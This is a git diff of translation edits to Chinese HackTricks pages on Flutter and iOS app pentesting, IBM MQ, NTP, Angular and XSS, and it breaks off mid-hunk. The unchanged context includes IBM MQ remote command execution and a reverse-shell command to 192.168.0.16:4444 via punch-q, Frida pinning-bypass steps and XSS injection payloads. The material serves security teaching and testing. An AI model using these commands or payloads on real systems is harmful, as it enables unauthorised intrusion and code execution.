100644 --- a/src/mobile-pentesting/android-app-pentesting/flutter.md +++ b/src/mobile-pentesting/android-app-pentesting/flutter.md @@ -12,9 +12,9 @@ Flutter是**谷歌的跨平台UI工具包**，允许开发者编写单一的Dart ### 为什么在Flutter中拦截HTTPS很棘手 * **SSL/TLS验证位于BoringSSL的两层下方**，因此Java SSL固定绕过不会触及它。 * **BoringSSL在libflutter.so内部使用其*自己的* CA存储**；将你的Burp/ZAP CA导入Android的系统存储不会改变任何东西。 -* libflutter.so中的符号是**剥离和混淆的**，隐藏了证书验证功能，使动态工具无法访问。 +* libflutter.so中的符号是**剥离和混淆的**，隐藏了证书验证功能，使动态工具无法使用。 -### 确定确切的Flutter栈 +### 确定确切的Flutter堆栈 知道版本可以让你重建或模式匹配正确的二进制文件。 步骤 | 命令 / 文件 | 结果 @@ -57,7 +57,7 @@ onLeave: function (retval) { retval.replace(0x1); } // always 'true' onComplete: function () { console.log("scan done"); } }); ``` -请提供需要翻译的具体内容。 +请运行它： ```bash frida -U -f com.example.app -l bypass.js ``` @@ -73,4 +73,4 @@ Flutter 本身 **忽略设备代理设置**。最简单的选项： ## 参考 - [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/) -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index 30363082d..fcba47f54 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -6,7 +6,7 @@ 使用 **entitlement `get_task_allow`** 签名的应用程序允许第三方应用程序运行一个名为 **`task_for_pid()`** 的函数，参数为初始应用程序的进程 ID，以便获取其任务端口（能够控制它并访问其内存）。 -然而，这并不像简单地提取 IPA、用 entitlement 重新签名并将其刷回设备那么简单。这是因为 FairPlay 保护。当应用程序的签名更改时，DRM（数字版权管理）密钥会 **失效，应用程序将无法工作**。 +然而，这并不像简单地提取 IPA、使用该权限重新签名并将其刷回设备那么简单。这是因为 FairPlay 保护。当应用程序的签名更改时，DRM（数字版权管理）密钥会 **失效，应用程序将无法工作**。 在旧的越狱设备上，可以安装 IPA，**使用你喜欢的工具进行解密**（例如 Iridium 或 frida-ios-dump），然后将其提取回设备上。不过，如果可能，建议直接向客户端请求解密后的 IPA。 @@ -18,20 +18,20 @@ 2. 在你的 macos 上安装并启动 [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) 3. 在你的 Mac 上打开 `Terminal`，并 cd 到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`。稍后 IPA 将出现在此文件夹中。 4. 你应该能看到你的 iOS 设备。双击它，然后点击顶部菜单栏中的 Add + → Apps。 -5. 点击 Add 后，Configurator 将从 Apple 下载 IPA，并尝试将其推送到你的设备。如果你之前遵循我的建议并已安装 IPA，将会出现提示要求你重新安装应用程序。 +5. 点击 Add 后，Configurator 将从 Apple 下载 IPA，并尝试将其推送到你的设备。如果你之前遵循我的建议并已安装 IPA，将会出现提示要求你重新安装该应用程序。 6. IPA 应该下载到 `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`，你可以从那里获取它。 查看 [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) 以获取有关此过程的更多详细信息。 ### 解密应用程序 -为了解密 IPA，我们将安装它。然而，如果你有一部旧的越狱 iPhone，可能其版本不被应用程序支持，因为通常应用程序只支持最新版本。 +为了解密 IPA，我们将安装它。然而，如果你有一部旧的越狱 iPhone，可能其版本不被该应用程序支持，因为通常应用程序只支持最新版本。 因此，为了安装它，只需解压 IPA： ```bash unzip redacted.ipa -d unzipped ``` -检查 `Info.plist` 以获取最低支持版本，如果您的设备低于该版本，请更改该值以使其受支持。 +检查 `Info.plist` 以获取最低支持版本，如果您的设备早于该版本，请更改该值以使其受支持。 将 IPA 压缩回去： ```bash @@ -75,13 +75,13 @@ ideviceinstaller -i resigned.ipa -w | 工具 | 要求 | 优势 | 限制 | |------|--------------|-----------|-------------| | **AltStore 2 / SideStore** | macOS/Windows/Linux 伴侣，每 7 天使用免费开发者配置文件重新签名 IPA | 通过 Wi-Fi 自动重新加载，支持到 iOS 17 | 需要在同一网络上的计算机，Apple 限制 3 个应用 | -| **TrollStore 1/2** | 设备在 iOS 14 – 15.4.1 中易受 CoreTrust 漏洞影响 | *永久* 签名（无 7 天限制）；安装后无需计算机 | 不支持 iOS 15.5+（漏洞已修复） | +| **TrollStore 1/2** | 设备在 iOS 14 – 15.4.1 受 CoreTrust 漏洞影响 | *永久* 签名（无 7 天限制）；安装后无需计算机 | 不支持 iOS 15.5+（漏洞已修复） | 对于当前 iOS 版本的常规渗透测试，Alt/Side-Store 通常是最实用的选择。 ### Hooking / 动态插桩 -一旦您的应用使用 `get_task_allow` **并且** 开发者模式开启，您可以像在越狱设备上一样进行 Hook： +一旦您的应用使用 `get_task_allow` 签名 **并且** 开发者模式开启，您可以像在越狱设备上一样进行 Hook： ```bash # Spawn & attach with objection objection -g "com.example.target" explore @@ -93,7 +93,7 @@ frida -U -f com.example.target -l my_script.js --no-pause ### 使用 MobSF 进行自动化动态分析（无越狱） -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) 可以使用相同的技术（`get_task_allow`）在真实设备上对开发签名的 IPA 进行插桩，并提供带有文件系统浏览器、流量捕获和 Frida 控制台的 Web UI【turn6view0†L2-L3】。最快的方法是通过 Docker 运行 MobSF，然后通过 USB 连接你的 iPhone： +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) 可以使用相同的技术 (`get_task_allow`) 在真实设备上对开发签名的 IPA 进行插桩，并提供带有文件系统浏览器、流量捕获和 Frida 控制台的 Web UI【】。最快的方法是通过 Docker 运行 MobSF，然后通过 USB 连接你的 iPhone： ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ diff --git a/src/network-services-pentesting/1414-pentesting-ibmmq.md b/src/network-services-pentesting/1414-pentesting-ibmmq.md index 61c0193e3..02110358f 100644 --- a/src/network-services-pentesting/1414-pentesting-ibmmq.md +++ b/src/network-services-pentesting/1414-pentesting-ibmmq.md @@ -24,10 +24,10 @@ IBM 提供了大量技术文档，详见 [https://www.ibm.com/docs/en/ibm-mq](ht 1. 在 [https://login.ibm.com/](https://login.ibm.com/) 上创建一个帐户（IBMid）。 2. 从 [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-\*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) 下载 IBM MQ 库。对于 Linux x86_64，它是 **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**。 -3. 解压缩（`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`）。 +3. 解压缩 (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`)。 4. 运行 `sudo ./mqlicense.sh` 接受许可条款。 -> 如果您使用的是 Kali Linux，请修改文件 `mqlicense.sh`：删除/注释以下行（第 105-110 行之间）： +> 如果您使用的是 Kali Linux，请修改文件 `mqlicense.sh`：删除/注释以下行（在第 105-110 行之间）： > > ```bash > if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] @@ -56,7 +56,7 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_ #### 不使用 Docker -克隆项目 [**punch-q**](https://github.com/sensepost/punch-q)，然后按照自述文件进行安装（`pip install -r requirements.txt && python3 setup.py install`）。 +克隆项目 [**punch-q**](https://github.com/sensepost/punch-q)，然后按照 readme 进行安装（`pip install -r requirements.txt && python3 setup.py install`）。 之后，可以使用 `punch-q` 命令。 @@ -73,7 +73,7 @@ Queue Manager name: MYQUEUEMGR ``` ### Channels -**punch-q** 正在使用一个内部（可修改的）单词列表来查找现有的通道。用法示例： +**punch-q** 使用一个内部（可修改的）词汇表来查找现有的通道。使用示例： ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. @@ -84,7 +84,7 @@ Queue Manager name: MYQUEUEMGR 一旦我们获得一个通道名称（这里是：`DEV.ADMIN.SVRCONN`），我们就可以枚举所有其他通道。 -枚举基本上可以使用这个代码片段 `code/examples/dis_channels.py` 来完成，来自 **pymqi**： +枚举基本上可以使用 **pymqi** 中的这个代码片段 `code/examples/dis_channels.py` 来完成： ```python import logging import pymqi @@ -183,8 +183,8 @@ Showing queues with prefix: "*"... ### 代码执行 -> 在继续之前的一些细节：IBM MQ 可以通过多种方式控制：MQSC、PCF、控制命令。可以在 [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) 中找到一些一般列表。 -> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_可编程命令格式_**) 是我们关注的与实例远程交互的方式。**punch-q** 和进一步的 **pymqi** 基于 PCF 交互。 +> 在继续之前的一些细节：IBM MQ 可以通过多种方式进行控制：MQSC、PCF、控制命令。可以在 [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison) 中找到一些一般列表。 +> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_可编程命令格式_**) 是我们专注于与实例远程交互的内容。**punch-q** 和进一步的 **pymqi** 是基于 PCF 交互的。 > > 您可以找到 PCF 命令的列表： > @@ -195,7 +195,7 @@ Showing queues with prefix: "*"... > > 文档中还有该命令的警告：_"注意：此命令允许用户以 mqm 权限运行任意命令。如果被授予使用此命令的权限，恶意或粗心的用户可能会定义一个服务，从而损害您的系统或数据，例如，删除重要文件。"_ > -> _注意：始终根据 IBM MQ 文档（管理参考），在 `/admin/action/qmgr/{qmgrName}/mqsc` 处还有一个 HTTP 端点，用于运行服务创建的等效 MQSC 命令（`DEFINE SERVICE`）。这一方面在这里尚未涵盖。_ +> _注意：始终根据 IBM MQ 文档（管理参考），在 `/admin/action/qmgr/{qmgrName}/mqsc` 处还有一个 HTTP 端点，用于运行服务创建的等效 MQSC 命令（`DEFINE SERVICE`）。这一方面在这里尚未覆盖。_ 使用 PCF 进行远程程序执行的服务创建/删除可以通过 **punch-q** 完成： @@ -203,13 +203,13 @@ Showing queues with prefix: "*"... ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` -> 在IBM MQ的日志中，您可以看到命令已成功执行： +> 在 IBM MQ 的日志中，您可以看到命令已成功执行： > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` -> -> 您还可以枚举机器上现有的程序（这里`/bin/doesnotexist` ... 不存在）： + +您还可以枚举机器上现有的程序（这里 `/bin/doesnotexist` ... 不存在）： ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" @@ -235,7 +235,7 @@ Done _当然，您可以使用 `execute` 命令构建自定义的有效载荷。_ -对于 bash: +对于 bash： ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` @@ -316,7 +316,7 @@ sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157: ``` 默认情况下，身份验证已启用，用户名为 `admin`，密码为 `passw0rd`（环境变量 `MQ_ADMIN_PASSWORD`）。在这里，队列管理器名称已设置为 `MYQUEUEMGR`（变量 `MQ_QMGR_NAME`）。 -您应该已启动并运行 IBM MQ，并且其端口已暴露： +您应该已经启动并运行 IBM MQ，并且其端口已暴露： ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES @@ -330,4 +330,4 @@ CONTAINER ID IMAGE COMMAND CRE - [MQ 跳跃 - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) - [IBM MQ 文档](https://www.ibm.com/docs/en/ibm-mq) -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index ef63cad84..9825c3757 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -9,9 +9,9 @@ ### 摘要与安全提示 - **目的**：在网络上同步设备时钟。 -- **重要性**：对安全、日志记录、加密协议和分布式系统至关重要。 +- **重要性**：对安全性、日志记录、加密协议和分布式系统至关重要。 - **安全措施**： -- 使用经过验证的 NTP 或 NTS（网络时间安全）源并进行身份验证。 +- 使用经过身份验证的可信 NTP 或 NTS（网络时间安全）源。 - 限制可以查询/命令守护进程的用户（``restrict default noquery``、``kod`` 等）。 - 禁用传统的 Mode-6/7 控制查询（``monlist``、``ntpdc``）或对其进行速率限制。 - 监控同步漂移/闰秒状态以防篡改。 @@ -92,7 +92,7 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv ### 1. NTP 放大 / 反射 -传统的 Mode-7 ``monlist`` 查询返回多达 **600 个主机地址**，并且仍然存在于数千个互联网主机上。由于回复（428-468 字节/条目）是请求的 8 字节的 *~ 200×* 大，因此攻击者可以达到三位数的放大因子。缓解措施： +传统的 Mode-7 ``monlist`` 查询返回多达 **600 个主机地址**，并且仍然存在于数千个互联网主机上。由于回复（每条目 428-468 字节）是 8 字节请求的 *~ 200×* 大，因此攻击者可以达到三位数的放大因子。缓解措施： - 升级到 ntp 4.2.8p15+ 并 **添加** ``disable monitor``。 - 在边缘对 UDP/123 进行速率限制或在 DDoS 设备上启用 *sessions-required*。 @@ -102,11 +102,11 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv ### 2. 时间偏移 / 延迟攻击 (Khronos / Chronos 研究) -即使有身份验证，路径上的攻击者也可以通过丢弃/延迟数据包静默地 **移动客户端时钟**。IETF **Khronos（前称 Chronos）草案** 提议在后台查询多样化的服务器并对结果进行合理性检查，以检测偏移 > 𝚡 毫秒。现代 chrony (4.4+) 已经实现了类似的合理性过滤器 (``maxdistance`` / ``maxjitter``)。 +即使有身份验证，路径上的攻击者也可以通过丢弃/延迟数据包静默地 **移动客户端时钟**。IETF **Khronos（前身为 Chronos）草案** 提议在后台查询多样化的服务器并对结果进行合理性检查，以检测偏移 > 𝚡 毫秒。现代 chrony (4.4+) 已经实现了类似的合理性过滤器 (``maxdistance`` / ``maxjitter``)。 ### 3. NTS 滥用与 4460/tcp 暴露 -NTS 将重型加密移至单独的 **TLS 1.3 通道在 4460/tcp** (``ntske/1``)。不良实现（参见 CVE-2023-33192）在解析 cookies 时崩溃或允许弱密码。渗透测试人员应： +NTS 将重型加密移动到单独的 **TLS 1.3 通道在 4460/tcp** (``ntske/1``)。不良实现（参见 CVE-2023-33192）在解析 cookies 时崩溃或允许弱密码。渗透测试人员应： ```bash # TLS reconnaissance nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert @@ -127,7 +127,7 @@ openssl s_client -connect :4460 -alpn ntske/1 -tls1_3 -ign_eof 4. 考虑 **leap-smear** 以避免闰秒中断，但确保 *所有* 下游客户端使用相同的涂抹窗口。 5. 保持轮询 ≤24 小时，以免错过闰秒标志。 -请参阅RFC 8633以获取全面的检查清单。 +有关全面检查清单，请参见RFC 8633。 --- ## Shodan / Censys Dorks @@ -169,7 +169,7 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru --- ## 参考文献 -- RFC 8915 – *网络时间协议的网络时间安全* (port 4460) +- RFC 8915 – *网络时间协议的网络时间安全* (端口 4460) - RFC 8633 – *网络时间协议 BCP* - Cloudflare DDoS 报告 2024 Q4 (5.6 Tbps) - Cloudflare *NTP 放大攻击* 文章 @@ -179,4 +179,4 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru - Khronos/Chronos 草案 (时间偏移缓解) - chronyc 手册/远程监控示例 - zgrab2 ntp 模块文档 -{{#include /banners/hacktricks-training.md}} +{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index 4c1c5434b..07edcb7ae 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -1,18 +1,18 @@ # Angular -{{#include /banners/hacktricks-training.md}} +{{#include ../../banners/hacktricks-training.md}} ## The Checklist Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). -* [ ] Angular被视为一个客户端框架，不期望提供服务器端保护 +* [ ] Angular被认为是一个客户端框架，不期望提供服务器端保护 * [ ] 项目配置中禁用了脚本的源映射 * [ ] 不可信的用户输入在用于模板之前始终被插值或清理 * [ ] 用户无法控制服务器端或客户端模板 * [ ] 不可信的用户输入在被应用程序信任之前，使用适当的安全上下文进行清理 -* [ ] `BypassSecurity*` 方法不与不可信输入一起使用 -* [ ] 不可信的用户输入不传递给Angular类，如 `ElementRef`、`Renderer2` 和 `Document`，或其他JQuery/DOM接收器 +* [ ] 不使用不可信输入的`BypassSecurity*`方法 +* [ ] 不可信的用户输入不会传递给Angular类，如`ElementRef`、`Renderer2`和`Document`，或其他JQuery/DOM接收器 ## What is Angular @@ -45,13 +45,13 @@ my-workspace/ Angular NgModules 声明一个编译上下文，用于一组专用于应用程序域、工作流或紧密相关功能的组件。每个 Angular 应用程序都有一个根模块，通常命名为 `AppModule`，它提供启动机制以启动应用程序。一个应用程序通常包含多个功能模块。`AppModule` 在 `app.module.ts` 文件中定义。 -Angular `Router` NgModule 提供一个服务，让您可以在应用程序的不同状态和视图层次结构之间定义导航路径。`RouterModule` 在 `app-routing.module.ts` 文件中定义。 +Angular `Router` NgModule 提供了一项服务，让您可以定义应用程序中不同状态和视图层次结构之间的导航路径。`RouterModule` 在 `app-routing.module.ts` 文件中定义。 对于不与特定视图相关联且希望在组件之间共享的数据或逻辑，您可以创建一个服务类。服务类定义前面会有 `@Injectable()` 装饰器。该装饰器提供元数据，允许其他提供者作为依赖项注入到您的类中。依赖注入 (DI) 使您能够保持组件类的精简和高效。它们不会从服务器获取数据、验证用户输入或直接记录到控制台；它们将此类任务委托给服务。 ## Sourcemap 配置 -Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为 JavaScript 代码，然后使用 `angular.json` 配置构建项目。查看 `angular.json` 文件，我们观察到一个选项可以启用或禁用 sourcemap。根据 Angular 文档，默认配置为脚本启用 sourcemap 文件，并且默认情况下不隐藏： +Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为 JavaScript 代码，然后使用 `angular.json` 配置构建项目。查看 `angular.json` 文件时，我们观察到一个选项可以启用或禁用 sourcemap。根据 Angular 文档，默认配置为脚本启用了 sourcemap 文件，并且默认情况下不隐藏： ```json "sourceMap": { "scripts": true, @@ -62,7 +62,7 @@ Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为 ``` 一般来说，sourcemap 文件用于调试目的，因为它们将生成的文件映射到其原始文件。因此，不建议在生产环境中使用它们。如果启用了 sourcemaps，它可以提高可读性并通过复制 Angular 项目的原始状态来帮助文件分析。然而，如果它们被禁用，审查者仍然可以通过搜索反安全模式手动分析编译后的 JavaScript 文件。 -此外，带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources（或 Debugger 和 Sources）→ \[id].main.js 中找到。根据启用的选项，该文件末尾可能包含以下行 `//# sourceMappingURL=[id].main.js.map`，或者如果 **hidden** 选项设置为 **true**，则可能不包含。然而，如果 **scripts** 的 sourcemap 被禁用，测试变得更加复杂，我们无法获取该文件。此外，sourcemap 可以在项目构建期间启用，例如 `ng build --source-map`。 +此外，带有 Angular 项目的编译 JavaScript 文件可以在浏览器开发者工具 → Sources（或 Debugger 和 Sources）→ \[id].main.js 中找到。根据启用的选项，该文件末尾可能包含以下行 `//# sourceMappingURL=[id].main.js.map`，如果 **hidden** 选项设置为 **true**，则可能不包含此行。尽管如此，如果 **scripts** 的 sourcemap 被禁用，测试将变得更加复杂，我们无法获取该文件。此外，sourcemap 可以在项目构建期间启用，例如 `ng build --source-map`。 ## 数据绑定 @@ -81,7 +81,7 @@ Angular 框架通过遵循 `tsconfig.json` 选项将 TypeScript 文件转换为 | 属性 | 元素属性、组件属性、指令属性 | \ | | 事件 | 元素事件、组件事件、指令事件 | \ ``` -在我们的研究中，我们还检查了其他 `Renderer2` 方法的行为，如 `setStyle()`、`createComment()` 和 `setValue()`，与 XSS 和 CSS 注入的关系。然而，由于它们的功能限制，我们未能找到这些方法的有效攻击向量。 +在我们的研究中，我们还检查了其他 `Renderer2` 方法的行为，例如 `setStyle()`、`createComment()` 和 `setValue()`，与 XSS 和 CSS 注入的关系。然而，由于它们的功能限制，我们未能找到这些方法的有效攻击向量。 #### jQuery -jQuery 是一个快速、小巧且功能丰富的 JavaScript 库，可以在 Angular 项目中用于帮助操作 HTML DOM 对象。然而，众所周知，该库的方法可能被利用以实现 XSS 漏洞。为了讨论一些易受攻击的 jQuery 方法如何在 Angular 项目中被利用，我们添加了这一小节。 +jQuery 是一个快速、小巧且功能丰富的 JavaScript 库，可以在 Angular 项目中用于操作 HTML DOM 对象。然而，众所周知，该库的方法可能被利用以实现 XSS 漏洞。为了讨论一些易受攻击的 jQuery 方法如何在 Angular 项目中被利用，我们添加了这一小节。 * `html()` 方法获取匹配元素集合中第一个元素的 HTML 内容，或设置每个匹配元素的 HTML 内容。然而，按设计，任何接受 HTML 字符串的 jQuery 构造函数或方法都可能执行代码。这可能通过注入 ``** 标签之间，或者在 `.js` 文件中，或在使用 **`javascript:`** 协议的属性中： - 如果反映在 **``** 标签之间，即使您的输入在任何类型的引号内，您可以尝试注入 `` 并逃离此上下文。这是有效的，因为 **浏览器会首先解析 HTML 标签** 然后解析内容，因此，它不会注意到您注入的 `` 标签在 HTML 代码中。 -- 如果反映 **在 JS 字符串内**，并且最后的技巧不起作用，您需要 **退出** 字符串，**执行** 您的代码并 **重构** JS 代码（如果有任何错误，它将不会被执行）： +- 如果反映 **在 JS 字符串内**，并且最后一个技巧不起作用，您需要 **退出** 字符串，**执行** 您的代码并 **重构** JS 代码（如果有任何错误，它将不会被执行）： - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` @@ -94,9 +94,9 @@ js-hoisting.md ### Javascript Function -一些网页有端点**接受作为参数要执行的函数名称**。在实际中常见的例子是类似于：`?callback=callbackFunc`。 +一些网页有端点**接受作为参数的要执行的函数名称**。在实际中常见的例子是类似于：`?callback=callbackFunc`。 -找出用户直接提供的内容是否试图被执行的一个好方法是**修改参数值**（例如改为 'Vulnerable'），并在控制台中查找错误，例如： +找出用户直接提供的内容是否尝试被执行的一个好方法是**修改参数值**（例如改为 'Vulnerable'），并在控制台中查找错误，例如： ![](<../../images/image (711).png>) @@ -104,7 +104,7 @@ js-hoisting.md 然而，即使有这个限制，仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素**： -![](<../../images/image (747).png>) +![](<../../images/image (747).png>) 一些有用的函数： ``` @@ -245,14 +245,14 @@ onerror=alert`1` ### 不可能 - 悬挂标记 -如果你认为 **创建一个带有执行 JS 代码的属性的 HTML 标签是不可能的**，你应该检查 [**悬挂标记**](../dangling-markup-html-scriptless-injection/index.html)，因为你可以 **在不执行** **JS** 代码的情况下 **利用** 该漏洞。 +如果你认为 **创建一个带有属性以执行 JS 代码的 HTML 标签是不可能的**，你应该检查 [**悬挂标记**](../dangling-markup-html-scriptless-injection/index.html)，因为你可以 **在不执行** **JS** 代码的情况下 **利用** 该漏洞。 ## 在 HTML 标签内注入 ### 在标签内/从属性值中转义 如果你在 **HTML 标签内**，你可以尝试的第一件事是 **从标签中转义**，并使用 [上一节](#injecting-inside-raw-html) 中提到的一些技术来执行 JS 代码。\ -如果你 **无法从标签中转义**，你可以在标签内创建新的属性来尝试执行 JS 代码，例如使用一些有效载荷（_注意在这个例子中使用双引号来从属性中转义，如果你的输入直接反映在标签内，你就不需要它们_）： +如果你 **无法从标签中转义**，你可以在标签内创建新的属性以尝试执行 JS 代码，例如使用一些有效载荷（_注意在这个例子中使用双引号来从属性中转义，如果你的输入直接反映在标签内，你将不需要它们_）： ```bash " autofocus onfocus=alert(document.domain) x=" " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t @@ -305,7 +305,7 @@ HTML标签属性值中的**HTML编码字符**在运行时**被解码**。因此 ``` ### 特殊协议在属性中 -在某些地方，您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些需要用户交互，有些则不需要。 +在某些地方，您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互，有些则不需要。 ```javascript javascript:alert(1) JavaSCript:alert(1) @@ -353,17 +353,17 @@ _**在这种情况下，上一节中的HTML编码和Unicode编码技巧在属性 ```javascript ``` -此外，对于这些情况还有另一个**不错的技巧**：**即使你在 `javascript:...` 中的输入被 URL 编码，它在执行之前会被 URL 解码。** 所以，如果你需要使用**单引号**从**字符串**中**逃逸**，并且你看到**它被 URL 编码**，请记住**这没关系，**它将在**执行**时被**解释**为**单引号**。 +此外，还有另一个**好技巧**：**即使你在 `javascript:...` 中的输入被 URL 编码，它在执行之前会被 URL 解码。** 所以，如果你需要使用**单引号**从**字符串**中**逃逸**，并且你看到**它被 URL 编码**，请记住**这没关系，**它将在**执行**时被**解释**为**单引号**。 ```javascript '-alert(1)-' %27-alert(1)-%27 ``` -注意，如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**，它 **将不会** **工作**，但你可以在 **payload** 中 **混合使用它们**。 +注意，如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**，它 **将** **不起作用**，但你可以在 **payload** 中 **混合使用它们**。 **使用 Hex 和 Octal 编码与 `javascript:`** -你可以在 `iframe` 的 `src` 属性中（至少）使用 **Hex** 和 **Octal 编码** 来声明 **HTML 标签以执行 JS**： +你可以在 `iframe` 的 `src` 属性中（至少）使用 **Hex** 和 **Octal encode** 来声明 **HTML 标签以执行 JS**： ```javascript //Encoded: // This WORKS @@ -375,7 +375,7 @@ _**在这种情况下，上一节中的HTML编码和Unicode编码技巧在属性 ``` -### 反向标签劫持 +### 反向标签窃取 ```javascript ### CSS小工具 -如果您在网页的**非常小的部分**发现了**XSS**，并且需要某种交互（可能是页脚中的一个小链接，带有onmouseover元素），您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。 +如果您在网络的**非常小的部分**发现了**XSS**，并且需要某种交互（可能是页脚中的一个小链接，带有onmouseover元素），您可以尝试**修改该元素占据的空间**以最大化触发链接的概率。 例如，您可以在元素中添加一些样式，如：`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` @@ -470,7 +470,7 @@ onbeforetoggle="alert(2)" /> ## 在JavaScript代码中注入 -在这种情况下，您的**输入**将**反映在.js文件的JS代码**中，或在``标签之间，或在可以执行JS代码的HTML事件之间，或在接受`javascript:`协议的属性之间。 +在这些情况下，您的**输入**将**反映在.js文件的JS代码**中，或在``标签之间，或在可以执行JS代码的HTML事件之间，或在接受`javascript:`协议的属性之间。 ### 转义\ ``` -注意，在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**，这涉及到识别页面元素，包括脚本块。解析 JavaScript 以理解和执行嵌入的脚本是在之后进行的。 +注意，在这个例子中我们**甚至没有关闭单引号**。这是因为**HTML 解析首先由浏览器执行**，这涉及到识别页面元素，包括脚本块。JavaScript 的解析以理解和执行嵌入的脚本仅在之后进行。 ### Inside JS code @@ -741,15 +741,15 @@ top[8680439..toString(30)](1) ``` ## **DOM 漏洞** -有 **JS 代码** 使用 **由攻击者不安全控制的数据**，如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\ -**由于对** [**DOM 漏洞的解释扩展，已移至此页面**](dom-xss.md)**:** +有 **JS 代码** 使用 **由攻击者控制的不安全数据**，如 `location.href`。攻击者可以利用这一点执行任意的 JS 代码。\ +**由于对** [**DOM 漏洞的解释扩展到此页面**](dom-xss.md)**:** {{#ref}} 